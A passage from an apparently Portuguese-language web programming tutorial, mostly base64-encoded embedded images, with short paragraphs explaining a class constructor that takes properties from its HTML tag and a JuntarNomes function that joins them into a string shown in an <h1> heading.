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" /></p><p>Neste exemplo a classe implementa um construtor que pode receber propriedades diretamente do html na tag em que é incorporada, vamos ver isso mais à frente.</p><p>O construtor define duas propriedades que a função JuntarNomes devolve numa string só, essa função é incorporada dentro da tag <h1>.</p><p>A função também pode receber valores diretamente, assim:</p><p style="text-align: center;"><img alt="" src="data:image/png;base64,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